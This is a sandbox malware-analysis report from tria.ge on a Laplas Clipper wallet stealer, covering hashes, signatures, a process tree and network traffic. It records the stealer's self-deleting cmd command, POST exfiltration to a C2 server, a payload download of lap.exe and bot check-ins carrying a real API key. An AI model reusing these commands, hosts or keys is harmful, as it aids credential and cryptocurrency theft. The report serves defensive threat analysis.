Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

dridex

windows10-2004-x64

10

Analysis

  • max time kernel
    145s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/03/2023, 12:10 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe

  • Size

    332KB

  • MD5

    3b9a24b8d96add6e30999d01707caffd

  • SHA1

    8c2987facc8425d0208227aa53cec0bdd056e083

  • SHA256

    6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b

  • SHA512

    f2a69b1f9818c1336756e8ef63f236b1308735f7b98e97165335b190ef2dd729c0193d150bc8d1c07c6b7742e8f562267b9b7f36eb06319ed1c306582d9aad8f

  • SSDEEP

    6144:GqGW13LMNttroHH9GAowS4btkDt8Yfd/E:J13gNttryHIAowS4Zk5zfd/

Score
10/10
laplasclipperdiscoverypersistencespywarestealer

Malware Config

Extracted

Family

laplas

C2

http://45.87.154.105

Attributes
  • api_key

    1c630872d348a77d04368d542fde4663bc2bcb96f1b909554db3472c08df2767

Signatures

  • Laplas Clipper

    Laplas is a crypto wallet stealer with three variants written in Golang, C#, and C++.

    stealerclipperlaplas
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
    "C:\Users\Admin\AppData\Local\Temp\6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1516
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\HJJJECFIEC.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4412
      • C:\Users\Admin\AppData\Local\Temp\HJJJECFIEC.exe
        "C:\Users\Admin\AppData\Local\Temp\HJJJECFIEC.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:2784
        • C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
          C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
          4⤵
          • Executes dropped EXE
          PID:2996
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe" & del "C:\ProgramData\*.dll"" & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5076
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 5
        3⤵
        • Delays execution with timeout.exe
        PID:4260
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1516 -s 1936
      2⤵
      • Program crash
      PID:4748
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1516 -ip 1516
    1⤵
      PID:1648

    Network

    • flag-us
      DNS
      104.219.191.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      104.219.191.52.in-addr.arpa
      IN PTR
      Response
    • flag-lv
      POST
      http://45.87.154.30/09c9de54c6be1727.php
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      45.87.154.30:80
      Request
      POST /09c9de54c6be1727.php HTTP/1.1
      Content-Type: multipart/form-data; boundary=----JDAFBKECAKFCAAAKJDAK
      Host: 45.87.154.30
      Content-Length: 214
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sat, 18 Mar 2023 12:10:34 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Vary: Accept-Encoding
      Content-Length: 140
      Keep-Alive: timeout=5, max=100
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-lv
      POST
      http://45.87.154.30/09c9de54c6be1727.php
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      45.87.154.30:80
      Request
      POST /09c9de54c6be1727.php HTTP/1.1
      Content-Type: multipart/form-data; boundary=----FIDHIEBAAKJDHIECAAFH
      Host: 45.87.154.30
      Content-Length: 268
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sat, 18 Mar 2023 12:10:34 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Vary: Accept-Encoding
      Content-Length: 1340
      Keep-Alive: timeout=5, max=99
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-lv
      POST
      http://45.87.154.30/09c9de54c6be1727.php
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      45.87.154.30:80
      Request
      POST /09c9de54c6be1727.php HTTP/1.1
      Content-Type: multipart/form-data; boundary=----BGDGHJEHJJDAAAKEBGCF
      Host: 45.87.154.30
      Content-Length: 267
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sat, 18 Mar 2023 12:10:34 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Vary: Accept-Encoding
      Content-Length: 5056
      Keep-Alive: timeout=5, max=98
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-lv
      POST
      http://45.87.154.30/09c9de54c6be1727.php
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      45.87.154.30:80
      Request
      POST /09c9de54c6be1727.php HTTP/1.1
      Content-Type: multipart/form-data; boundary=----EHJDGCBGDBKJKFHIECBA
      Host: 45.87.154.30
      Content-Length: 4551
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sat, 18 Mar 2023 12:10:34 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 0
      Keep-Alive: timeout=5, max=97
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-lv
      GET
      http://45.87.154.30/ef3c1514ca101156/sqlite3.dll
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      45.87.154.30:80
      Request
      GET /ef3c1514ca101156/sqlite3.dll HTTP/1.1
      Host: 45.87.154.30
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sat, 18 Mar 2023 12:10:35 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT
      ETag: "10e436-5e7ec6832a180"
      Accept-Ranges: bytes
      Content-Length: 1106998
      Content-Type: application/x-msdos-program
    • flag-lv
      GET
      http://45.87.154.30/ef3c1514ca101156/freebl3.dll
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      45.87.154.30:80
      Request
      GET /ef3c1514ca101156/freebl3.dll HTTP/1.1
      Host: 45.87.154.30
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sat, 18 Mar 2023 12:10:35 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
      ETag: "a7550-5e7e950876500"
      Accept-Ranges: bytes
      Content-Length: 685392
      Content-Type: application/x-msdos-program
    • flag-lv
      GET
      http://45.87.154.30/ef3c1514ca101156/mozglue.dll
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      45.87.154.30:80
      Request
      GET /ef3c1514ca101156/mozglue.dll HTTP/1.1
      Host: 45.87.154.30
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sat, 18 Mar 2023 12:10:35 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
      ETag: "94750-5e7e950876500"
      Accept-Ranges: bytes
      Content-Length: 608080
      Content-Type: application/x-msdos-program
    • flag-lv
      GET
      http://45.87.154.30/ef3c1514ca101156/msvcp140.dll
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      45.87.154.30:80
      Request
      GET /ef3c1514ca101156/msvcp140.dll HTTP/1.1
      Host: 45.87.154.30
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sat, 18 Mar 2023 12:10:35 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
      ETag: "6dde8-5e7e950876500"
      Accept-Ranges: bytes
      Content-Length: 450024
      Content-Type: application/x-msdos-program
    • flag-lv
      GET
      http://45.87.154.30/ef3c1514ca101156/nss3.dll
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      45.87.154.30:80
      Request
      GET /ef3c1514ca101156/nss3.dll HTTP/1.1
      Host: 45.87.154.30
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sat, 18 Mar 2023 12:10:36 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
      ETag: "1f3950-5e7e950876500"
      Accept-Ranges: bytes
      Content-Length: 2046288
      Content-Type: application/x-msdos-program
    • flag-lv
      GET
      http://45.87.154.30/ef3c1514ca101156/softokn3.dll
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      45.87.154.30:80
      Request
      GET /ef3c1514ca101156/softokn3.dll HTTP/1.1
      Host: 45.87.154.30
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sat, 18 Mar 2023 12:10:36 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
      ETag: "3ef50-5e7e950876500"
      Accept-Ranges: bytes
      Content-Length: 257872
      Content-Type: application/x-msdos-program
    • flag-lv
      GET
      http://45.87.154.30/ef3c1514ca101156/vcruntime140.dll
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      45.87.154.30:80
      Request
      GET /ef3c1514ca101156/vcruntime140.dll HTTP/1.1
      Host: 45.87.154.30
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sat, 18 Mar 2023 12:10:36 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT
      ETag: "13bf0-5e7e950876500"
      Accept-Ranges: bytes
      Content-Length: 80880
      Content-Type: application/x-msdos-program
    • flag-lv
      POST
      http://45.87.154.30/09c9de54c6be1727.php
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      45.87.154.30:80
      Request
      POST /09c9de54c6be1727.php HTTP/1.1
      Content-Type: multipart/form-data; boundary=----BFCGDAAKFHIDBFIDBKFH
      Host: 45.87.154.30
      Content-Length: 827
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sat, 18 Mar 2023 12:10:36 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 0
      Keep-Alive: timeout=5, max=89
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-lv
      POST
      http://45.87.154.30/09c9de54c6be1727.php
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      45.87.154.30:80
      Request
      POST /09c9de54c6be1727.php HTTP/1.1
      Content-Type: multipart/form-data; boundary=----JEHIIDGCFHIEGDGCBFHD
      Host: 45.87.154.30
      Content-Length: 355
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sat, 18 Mar 2023 12:10:36 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 0
      Keep-Alive: timeout=5, max=88
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-lv
      POST
      http://45.87.154.30/09c9de54c6be1727.php
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      45.87.154.30:80
      Request
      POST /09c9de54c6be1727.php HTTP/1.1
      Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAK
      Host: 45.87.154.30
      Content-Length: 267
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sat, 18 Mar 2023 12:10:36 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Vary: Accept-Encoding
      Content-Length: 1460
      Keep-Alive: timeout=5, max=87
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-lv
      POST
      http://45.87.154.30/09c9de54c6be1727.php
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      45.87.154.30:80
      Request
      POST /09c9de54c6be1727.php HTTP/1.1
      Content-Type: multipart/form-data; boundary=----FIIIIDGHJEBFBGDHDGII
      Host: 45.87.154.30
      Content-Length: 265
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sat, 18 Mar 2023 12:10:36 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Vary: Accept-Encoding
      Content-Length: 224
      Keep-Alive: timeout=5, max=86
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-lv
      POST
      http://45.87.154.30/09c9de54c6be1727.php
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      45.87.154.30:80
      Request
      POST /09c9de54c6be1727.php HTTP/1.1
      Content-Type: multipart/form-data; boundary=----GHJDHDAECBGCAKEBAEBA
      Host: 45.87.154.30
      Content-Length: 1084199
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sat, 18 Mar 2023 12:10:37 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 0
      Keep-Alive: timeout=5, max=85
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-lv
      POST
      http://45.87.154.30/09c9de54c6be1727.php
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      45.87.154.30:80
      Request
      POST /09c9de54c6be1727.php HTTP/1.1
      Content-Type: multipart/form-data; boundary=----JKJECBAAAFHIIEBFCBKF
      Host: 45.87.154.30
      Content-Length: 988291
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sat, 18 Mar 2023 12:10:37 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 0
      Keep-Alive: timeout=5, max=84
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-lv
      POST
      http://45.87.154.30/09c9de54c6be1727.php
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      45.87.154.30:80
      Request
      POST /09c9de54c6be1727.php HTTP/1.1
      Content-Type: multipart/form-data; boundary=----JEHIIDGCFHIEGDGCBFHD
      Host: 45.87.154.30
      Content-Length: 110071
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sat, 18 Mar 2023 12:10:39 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 0
      Keep-Alive: timeout=5, max=83
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-lv
      POST
      http://45.87.154.30/09c9de54c6be1727.php
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      45.87.154.30:80
      Request
      POST /09c9de54c6be1727.php HTTP/1.1
      Content-Type: multipart/form-data; boundary=----HJKJEHJKJEBGHJJKEBGI
      Host: 45.87.154.30
      Content-Length: 264
      Connection: Keep-Alive
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Date: Sat, 18 Mar 2023 12:10:39 GMT
      Server: Apache/2.4.41 (Ubuntu)
      Content-Length: 44
      Keep-Alive: timeout=5, max=82
      Connection: Keep-Alive
      Content-Type: text/html; charset=UTF-8
    • flag-us
      DNS
      30.154.87.45.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      30.154.87.45.in-addr.arpa
      IN PTR
      Response
      30.154.87.45.in-addr.arpa
      IN PTR
      777palmcom
    • flag-us
      DNS
      30.154.87.45.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      30.154.87.45.in-addr.arpa
      IN PTR
      Response
      30.154.87.45.in-addr.arpa
      IN PTR
      777palmcom
    • flag-us
      DNS
      76.38.195.152.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      76.38.195.152.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      33.18.126.40.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      33.18.126.40.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      210.81.184.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      210.81.184.52.in-addr.arpa
      IN PTR
      Response
    • flag-unknown
      GET
      http://185.119.196.167/lap.exe
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      Remote address:
      185.119.196.167:80
      Request
      GET /lap.exe HTTP/1.1
      Host: 185.119.196.167
      Cache-Control: no-cache
      Response
      HTTP/1.1 200 OK
      Server: nginx/1.18.0 (Ubuntu)
      Date: Sat, 18 Mar 2023 12:10:39 GMT
      Content-Type: application/x-msdos-program
      Content-Length: 1999360
      Connection: keep-alive
      Last-Modified: Sat, 18 Mar 2023 12:10:01 GMT
      ETag: "1e8200-5f72b92c7d129"
      Accept-Ranges: bytes
    • flag-us
      DNS
      167.196.119.185.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      167.196.119.185.in-addr.arpa
      IN PTR
      Response
      167.196.119.185.in-addr.arpa
      IN PTR
      nikeshopcom
    • flag-us
      DNS
      13.86.106.20.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      13.86.106.20.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      149.220.183.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      149.220.183.52.in-addr.arpa
      IN PTR
      Response
    • flag-lv
      GET
      http://45.87.154.105/bot/regex
      ntlhost.exe
      Remote address:
      45.87.154.105:80
      Request
      GET /bot/regex HTTP/1.1
      Host: 45.87.154.105
      User-Agent: Go-http-client/1.1
      Accept-Encoding: gzip
      Response
      HTTP/1.1 200 OK
      Server: nginx/1.14.2
      Date: Sat, 18 Mar 2023 12:11:11 GMT
      Content-Type: text/plain; charset=utf-8
      Content-Length: 633
      Connection: keep-alive
    • flag-lv
      GET
      http://45.87.154.105/bot/online?key=1c630872d348a77d04368d542fde4663bc2bcb96f1b909554db3472c08df2767&guid=UXINIZSV\Admin
      ntlhost.exe
      Remote address:
      45.87.154.105:80
      Request
      GET /bot/online?key=1c630872d348a77d04368d542fde4663bc2bcb96f1b909554db3472c08df2767&guid=UXINIZSV\Admin HTTP/1.1
      Host: 45.87.154.105
      User-Agent: Go-http-client/1.1
      Accept-Encoding: gzip
      Response
      HTTP/1.1 200 OK
      Server: nginx/1.14.2
      Date: Sat, 18 Mar 2023 12:11:11 GMT
      Content-Type: text/plain; charset=utf-8
      Content-Length: 2
      Connection: keep-alive
    • flag-lv
      GET
      http://45.87.154.105/bot/regex
      ntlhost.exe
      Remote address:
      45.87.154.105:80
      Request
      GET /bot/regex HTTP/1.1
      Host: 45.87.154.105
      User-Agent: Go-http-client/1.1
      Accept-Encoding: gzip
      Response
      HTTP/1.1 200 OK
      Server: nginx/1.14.2
      Date: Sat, 18 Mar 2023 12:12:14 GMT
      Content-Type: text/plain; charset=utf-8
      Content-Length: 633
      Connection: keep-alive
    • flag-lv
      GET
      http://45.87.154.105/bot/online?key=1c630872d348a77d04368d542fde4663bc2bcb96f1b909554db3472c08df2767&guid=UXINIZSV\Admin
      ntlhost.exe
      Remote address:
      45.87.154.105:80
      Request
      GET /bot/online?key=1c630872d348a77d04368d542fde4663bc2bcb96f1b909554db3472c08df2767&guid=UXINIZSV\Admin HTTP/1.1
      Host: 45.87.154.105
      User-Agent: Go-http-client/1.1
      Accept-Encoding: gzip
      Response
      HTTP/1.1 200 OK
      Server: nginx/1.14.2
      Date: Sat, 18 Mar 2023 12:12:14 GMT
      Content-Type: text/plain; charset=utf-8
      Content-Length: 2
      Connection: keep-alive
    • flag-us
      DNS
      105.154.87.45.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      105.154.87.45.in-addr.arpa
      IN PTR
      Response
      105.154.87.45.in-addr.arpa
      IN PTR
      slivasilcexamplecom
    • flag-us
      DNS
      2.77.109.52.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      2.77.109.52.in-addr.arpa
      IN PTR
      Response
    • flag-us
      DNS
      161.252.72.23.in-addr.arpa
      Remote address:
      8.8.8.8:53
      Request
      161.252.72.23.in-addr.arpa
      IN PTR
      Response
      161.252.72.23.in-addr.arpa
      IN PTR
      a23-72-252-161deploystaticakamaitechnologiescom
    • 45.87.154.30:80
      http://45.87.154.30/09c9de54c6be1727.php
      http
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      2.7MB
       5.4MB
       5726
      4383

      HTTP Request

      POST http://45.87.154.30/09c9de54c6be1727.php

      HTTP Response

      200

      HTTP Request

      POST http://45.87.154.30/09c9de54c6be1727.php

      HTTP Response

      200

      HTTP Request

      POST http://45.87.154.30/09c9de54c6be1727.php

      HTTP Response

      200

      HTTP Request

      POST http://45.87.154.30/09c9de54c6be1727.php

      HTTP Response

      200

      HTTP Request

      GET http://45.87.154.30/ef3c1514ca101156/sqlite3.dll

      HTTP Response

      200

      HTTP Request

      GET http://45.87.154.30/ef3c1514ca101156/freebl3.dll

      HTTP Response

      200

      HTTP Request

      GET http://45.87.154.30/ef3c1514ca101156/mozglue.dll

      HTTP Response

      200

      HTTP Request

      GET http://45.87.154.30/ef3c1514ca101156/msvcp140.dll

      HTTP Response

      200

      HTTP Request

      GET http://45.87.154.30/ef3c1514ca101156/nss3.dll

      HTTP Response

      200

      HTTP Request

      GET http://45.87.154.30/ef3c1514ca101156/softokn3.dll

      HTTP Response

      200

      HTTP Request

      GET http://45.87.154.30/ef3c1514ca101156/vcruntime140.dll

      HTTP Response

      200

      HTTP Request

      POST http://45.87.154.30/09c9de54c6be1727.php

      HTTP Response

      200

      HTTP Request

      POST http://45.87.154.30/09c9de54c6be1727.php

      HTTP Response

      200

      HTTP Request

      POST http://45.87.154.30/09c9de54c6be1727.php

      HTTP Response

      200

      HTTP Request

      POST http://45.87.154.30/09c9de54c6be1727.php

      HTTP Response

      200

      HTTP Request

      POST http://45.87.154.30/09c9de54c6be1727.php

      HTTP Response

      200

      HTTP Request

      POST http://45.87.154.30/09c9de54c6be1727.php

      HTTP Response

      200

      HTTP Request

      POST http://45.87.154.30/09c9de54c6be1727.php

      HTTP Response

      200

      HTTP Request

      POST http://45.87.154.30/09c9de54c6be1727.php

      HTTP Response

      200
    • 185.119.196.167:80
      http://185.119.196.167/lap.exe
      http
      6e53cd4ff1c9a249cfb8f15e0ace2d7139843b14726ef12cc26bf9b469f59c4b.exe
      67.9kB
       2.1MB
       1475
      1473

      HTTP Request

      GET http://185.119.196.167/lap.exe

      HTTP Response

      200
    • 45.87.154.105:80
      http://45.87.154.105/bot/online?key=1c630872d348a77d04368d542fde4663bc2bcb96f1b909554db3472c08df2767&guid=UXINIZSV\Admin
      http
      ntlhost.exe
      1.1kB
       2.7kB
       11
      11

      HTTP Request

      GET http://45.87.154.105/bot/regex

      HTTP Response

      200

      HTTP Request

      GET http://45.87.154.105/bot/online?key=1c630872d348a77d04368d542fde4663bc2bcb96f1b909554db3472c08df2767&guid=UXINIZSV\Admin

      HTTP Response

      200

      HTTP Request

      GET http://45.87.154.105/bot/regex

      HTTP Response

      200

      HTTP Request

      GET http://45.87.154.105/bot/online?key=1c630872d348a77d04368d542fde4663bc2bcb96f1b909554db3472c08df2767&guid=UXINIZSV\Admin

      HTTP Response

      200
    • 20.189.173.2:443
      322 B
       7
    • 52.152.110.14:443
      260 B
       5
    • 93.184.221.240:80
      322 B
       7
    • 173.223.113.164:443
      322 B
       7
    • 173.223.113.131:80
      322 B
       7
    • 204.79.197.203:80
      322 B
       7
    • 52.152.110.14:443
      260 B
       5
    • 52.152.110.14:443
      260 B
       5
    • 52.152.110.14:443
      208 B
       4
    • 8.8.8.8:53
      104.219.191.52.in-addr.arpa
      dns
      73 B
       147 B
       1
      1

      DNS Request

      104.219.191.52.in-addr.arpa

    • 8.8.8.8:53
      30.154.87.45.in-addr.arpa
      dns
      142 B
       192 B
       2
      2

      DNS Request

      30.154.87.45.in-addr.arpa

      DNS Request

      30.154.87.45.in-addr.arpa

    • 8.8.8.8:53
      76.38.195.152.in-addr.arpa
      dns
      72 B
       143 B
       1
      1

      DNS Request

      76.38.195.152.in-addr.arpa

    • 8.8.8.8:53
      33.18.126.40.in-addr.arpa
      dns
      71 B
       157 B
       1
      1

      DNS Request

      33.18.126.40.in-addr.arpa

    • 8.8.8.8:53
      210.81.184.52.in-addr.arpa
      dns
      72 B
       146 B
       1
      1

      DNS Request

      210.81.184.52.in-addr.arpa

    • 8.8.8.8:53
      167.196.119.185.in-addr.arpa
      dns
      74 B
       100 B
       1
      1

      DNS Request

      167.196.119.185.in-addr.arpa

    • 8.8.8.8:53
      13.86.106.20.in-addr.arpa
      dns
      71 B
       157 B
       1
      1

      DNS Request

      13.86.106.20.in-addr.arpa

    • 8.8.8.8:53
      149.220.183.52.in-addr.arpa
      dns
      73 B
       147 B
       1
      1

      DNS Request

      149.220.183.52.in-addr.arpa

    • 8.8.8.8:53
      105.154.87.45.in-addr.arpa
      dns
      72 B
       107 B
       1
      1

      DNS Request

      105.154.87.45.in-addr.arpa

    • 8.8.8.8:53
      2.77.109.52.in-addr.arpa
      dns
      70 B
       144 B
       1
      1

      DNS Request

      2.77.109.52.in-addr.arpa

    • 8.8.8.8:53
      161.252.72.23.in-addr.arpa
      dns
      72 B
       137 B
       1
      1

      DNS Request

      161.252.72.23.in-addr.arpa

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\mozglue.dll
      Filesize

      593KB

      MD5

      c8fd9be83bc728cc04beffafc2907fe9

      SHA1

      95ab9f701e0024cedfbd312bcfe4e726744c4f2e

      SHA256

      ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

      SHA512

      fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

      Download Submit

    • C:\ProgramData\mozglue.dll
      Filesize

      593KB

      MD5

      c8fd9be83bc728cc04beffafc2907fe9

      SHA1

      95ab9f701e0024cedfbd312bcfe4e726744c4f2e

      SHA256

      ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

      SHA512

      fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

      Download Submit

    • C:\ProgramData\nss3.dll
      Filesize

      2.0MB

      MD5

      1cc453cdf74f31e4d913ff9c10acdde2

      SHA1

      6e85eae544d6e965f15fa5c39700fa7202f3aafe

      SHA256

      ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

      SHA512

      dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

      Download Submit

    • C:\Users\Admin\AppData\Local\Temp\HJJJECFIEC.exe
      Filesize

      1.9MB

      MD5
